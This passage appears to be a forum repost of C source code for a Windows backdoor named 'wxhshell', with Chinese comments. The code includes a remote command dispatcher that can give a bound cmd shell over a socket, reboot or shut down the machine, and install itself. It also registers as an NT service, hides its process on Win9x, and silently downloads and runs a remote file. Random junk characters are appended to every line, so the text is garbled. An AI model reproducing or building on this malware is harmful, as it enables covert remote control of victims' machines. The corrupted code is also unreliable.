  else { 8FgF6ip  
r ['zp=9  
    switch(cmd[0]) { /F}dC/W  
  iy|xF~  
  // 帮助 =+"-8tz8FV  
  case '?': { ro18%' RRI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gc<^ b  
    break; L:Me  
  } P7;q^jlB  
  // 安装 "QM2YJ55m`  
  case 'i': { )H%Rw V#  
    if(Install()) be>KG ZU0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oX?~  
    else [q(}~0{"-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *)Pb-c  
    break; VoNk.h"T  
    } K9S(Xip  
  // 卸载 XknbcA|  
  case 'r': { NP$ D9#   
    if(Uninstall()) 1N+ju"2R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fP{IW`t}]  
    else bl4I4RB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $A>]lLo0  
    break; K(_8oB784  
    } k(_^Lq f-  
  // 显示 wxhshell 所在路径 }XRRM:B|)(  
  case 'p': { B'D~Q  
    char svExeFile[MAX_PATH]; QMwV6cA  
    strcpy(svExeFile,"\n\r"); |S3wCG  
      strcat(svExeFile,ExeFile); [V41 Gk  
        send(wsh,svExeFile,strlen(svExeFile),0); ~oeX0l>F  
    break; 6tup^Rlo;$  
    } #x(3>}  
  // 重启 ]9hhAT44  
  case 'b': { /rv=ml pRL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >S:+&VN`M  
    if(Boot(REBOOT)) oC(.u?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v8K4u)  
    else { Enqs|fkbN  
    closesocket(wsh); #6nuiSF  
    ExitThread(0); }Hb_8P  
    } sDyt3xN  
    break; +xBM\Dz8  
    } /^,/o  
  // 关机 |/!RN[<   
  case 'd': { 7'R7J"sY`|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gHVD,Jr  
    if(Boot(SHUTDOWN)) g3\1 3<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @0iXqM#jH  
    else { u(4o#m  
    closesocket(wsh); V#V<Kz  
    ExitThread(0); c~ Q 5A  
    } I3dUI~}u  
    break; (sEZNo5n  
    } i^V3u  
  // 获取shell MDfC%2Q  
  case 's': { 1yjP`N  
    CmdShell(wsh); DK(8Ml:k  
    closesocket(wsh); v\Zq=,+  
    ExitThread(0); tdnd~WSR  
    break; {Ty?OZ  
  } 3s Mmg`  
  // 退出 .$ 5*v  
  case 'x': { tdn|mX#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +=(@=PJ6  
    CloseIt(wsh); }*56 DX  
    break; L7s _3\  
    } 4,:)%KB"V  
  // 离开 \w2X.2b.F  
  case 'q': { _6C,w`[[6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T_~xDQ`v  
    closesocket(wsh); CMHg]la  
    WSACleanup(); p\r V6+  
    exit(1); W";Po)YC  
    break; q ?m<9`  
        } z A@w[.  
  } dt(Lp_&v  
  } #YB3Ug]z  
 P'oY +#  
  // 提示信息 opqf)C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > `+lEob  
} 0<]]q[pr  
  } fl<j]{*v  
#\MkbZc d  
  return; IdciGS6 t  
} >~@ABLp 6  
+<f!#4T  
// shell模块句柄 p *GAs C  
int CmdShell(SOCKET sock) q:G3y[ P  
{ +!"7=?}  
STARTUPINFO si; g (V_&Y  
ZeroMemory(&si,sizeof(si)); 0ZtH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BmCBC,j<v>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qim|=  
PROCESS_INFORMATION ProcessInfo; 5S&^mj-9  
char cmdline[]="cmd"; uN(N2m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PF: E{_~  
  return 0; :6}cczQE|O  
} ^tl&FWF  
1:Xg&4s  
// 自身启动模式 !4mAZF b  
int StartFromService(void) |@*   
{ UymhBh  
typedef struct QjyJmW("Z  
{ SNtOHTQ  
  DWORD ExitStatus; T$s)aM  
  DWORD PebBaseAddress; eEg> EI_U  
  DWORD AffinityMask; /5C>7BC  
  DWORD BasePriority; +!<{80w  
  ULONG UniqueProcessId; jx8hh}C  
  ULONG InheritedFromUniqueProcessId; 3E:+DF-Z\  
}   PROCESS_BASIC_INFORMATION; WvWZzlw  
a,\GOy(q{  
PROCNTQSIP NtQueryInformationProcess; +(vL ~  
KPI[{T\`ZM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >2;KPV0H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G>W:3y  
Q?-uJ1J  
  HANDLE             hProcess; scR+F'M  
  PROCESS_BASIC_INFORMATION pbi; 30L/-+r1  
N"/be  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =N{-lyr)  
  if(NULL == hInst ) return 0; H9rZWc"*  
qN6GLx%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Oa -~}hN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lK #~lC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $ q$\  
;%xG bg!lg  
  if (!NtQueryInformationProcess) return 0; e}q!m(K]e-  
Zz56=ZX*_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0p!N'7N  
  if(!hProcess) return 0; `;#I_R_K  
kl9<l*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p0j-$*F  
3G-f+HN^E  
  CloseHandle(hProcess); }t5pz[zl  
'K3%@,O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {m 5R=22^  
if(hProcess==NULL) return 0; LX iis)1  
? p^':@=  
HMODULE hMod; Y# ?M%I%j  
char procName[255]; v*EErQML8b  
unsigned long cbNeeded; _@ @"'  
cUM#|K#6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Fj0h-7L  
}}~ t! /x  
  CloseHandle(hProcess); B,RHFlp{  
3|.KEJC"  
if(strstr(procName,"services")) return 1; // 以服务启动 C~:!WRCz  
iVb#X#  
  return 0; // 注册表启动 wq`\p['Q,  
} p?eQN Y  
HZzdelo  
// 主模块 ,Y2){8#l  
int StartWxhshell(LPSTR lpCmdLine) +0FmeM&`h_  
{ 8:4`q 9  
  SOCKET wsl; h_ J|uu  
BOOL val=TRUE; j=TG&#e  
  int port=0; XX'Rv]T  
  struct sockaddr_in door; /A/k13 J  
Q OP8{~O  
  if(wscfg.ws_autoins) Install(); Se&%Dr3Nv  
AC/82$  
port=atoi(lpCmdLine); 2[$` ]{U  
<t4l5nr#  
if(port<=0) port=wscfg.ws_port; Wy,Tf*[  
<=7^D  
  WSADATA data; vxx7aPjC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ' C|yUsBC  
>l|dLyiae  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ' 8bT9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B=J/HiwV)  
  door.sin_family = AF_INET; *`.4M)Ym~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LjA>H>8%[  
  door.sin_port = htons(port); h;sdm/  
7q,M2v;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~`x<;Ts  
closesocket(wsl); t= oTU,<  
return 1; gEQevy`T%c  
} Cn(0ID+3f  
+{S^A)  
  if(listen(wsl,2) == INVALID_SOCKET) { ce P1mO  
closesocket(wsl); *ocbV`  
return 1; >VWH bo  
} #3act )m  
  Wxhshell(wsl); zMQ|j_ l9E  
  WSACleanup(); Qr l>A*  
_w>9Z>PR  
return 0; cYMlc wS  
Q!dNJQpb  
} "Hw%@  
Bn_@R`  
// 以NT服务方式启动 2KC~; 5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (J^2|9r  
{ $I-i=:}g  
DWORD   status = 0; zSFqy'b.M-  
  DWORD   specificError = 0xfffffff; xlWTHn!j  
U i ~*]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x9!vtrM\Zr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Skd,=r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y~\K~qjd  
  serviceStatus.dwWin32ExitCode     = 0; )#l,RJ(  
  serviceStatus.dwServiceSpecificExitCode = 0; @7aSq-(_l*  
  serviceStatus.dwCheckPoint       = 0; _ s[v:c  
  serviceStatus.dwWaitHint       = 0; zn|/h,.  
@}cZxFQ!C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ij=}3;L_!  
  if (hServiceStatusHandle==0) return; mME a*9P  
h^KLqPBt{  
status = GetLastError(); 13nXvYo'  
  if (status!=NO_ERROR) "m:4e`_dz  
{ o-jF?9m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ) Pdl[+a  
    serviceStatus.dwCheckPoint       = 0; ]h$,=Qf hD  
    serviceStatus.dwWaitHint       = 0; q"[8u ]j  
    serviceStatus.dwWin32ExitCode     = status; U3yIONlt  
    serviceStatus.dwServiceSpecificExitCode = specificError; /n SmGAO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g np\z/'>  
    return; 4X &\/X  
  } :3x|U,wC  
z2QZ;ZjvRS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ya)s_Zr7  
  serviceStatus.dwCheckPoint       = 0; HjAQF?;V  
  serviceStatus.dwWaitHint       = 0; L)o7~M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g.d%z  
} EO5k?k[*  
)R2BTE:  
// 处理NT服务事件,比如:启动、停止 Vuqm{bo^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /WJ*ro]Hd$  
{ OxraaN`  
switch(fdwControl) Bld$<uU  
{ ~e<v<92Xu  
case SERVICE_CONTROL_STOP: MMfcY 3#%  
  serviceStatus.dwWin32ExitCode = 0; V nv9 <=R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eiaL zI,O  
  serviceStatus.dwCheckPoint   = 0; {rG`Upp  
  serviceStatus.dwWaitHint     = 0; [J|)DUjt  
  { THM\-abz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m18If  
  } xNh#=6__9  
  return; =U5lPsiv,3  
case SERVICE_CONTROL_PAUSE: xED`8PCfu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8@|rB3J  
  break; }'KVi=qnHb  
case SERVICE_CONTROL_CONTINUE: {<HL}m@kQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e:Zc-  
  break; 0pS|t/h0  
case SERVICE_CONTROL_INTERROGATE: ]r{-K63P{!  
  break; <z*SO a  
}; DVNGV   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;y7V-sf  
} _Z|s!~wdz  
PL#8~e;'  
// 标准应用程序主函数 \1[I(u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D %`64R  
{ D/w4u;E@  
? 5qo>W<7  
// 获取操作系统版本 RrkS!E[C  
OsIsNt=GetOsVer(); o Ohm`7iy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~R]E=/m|  
AFWcTz6#d  
  // 从命令行安装 kN4nRW9z  
  if(strpbrk(lpCmdLine,"iI")) Install(); n7"e 79  
7R mL#f`  
  // 下载执行文件 av(d0E}}b  
if(wscfg.ws_downexe) { D@yg)$;z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yWACI aj  
  WinExec(wscfg.ws_filenam,SW_HIDE); XB)e;R  
} gOI #$-L  
*=1;HN3  
if(!OsIsNt) { C^S?W=1=w  
// 如果时win9x,隐藏进程并且设置为注册表启动 )*I=>v.Jq  
HideProc(); dF{3 ~0+,  
StartWxhshell(lpCmdLine); j[XA"DZR<  
} JrTSu`S('  
else R$&|*0  
  if(StartFromService()) 0KyujU?sF  
  // 以服务方式启动 A / N$  
  StartServiceCtrlDispatcher(DispatchTable);  I)E+  
else ^A^,/3  
  // 普通方式启动 `~hAXnQK=  
  StartWxhshell(lpCmdLine); _dj< xPO  
jGzs; bE  
return 0; *J!oV0#1  
}
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只看该作者 1 发表于: 2006-10-10
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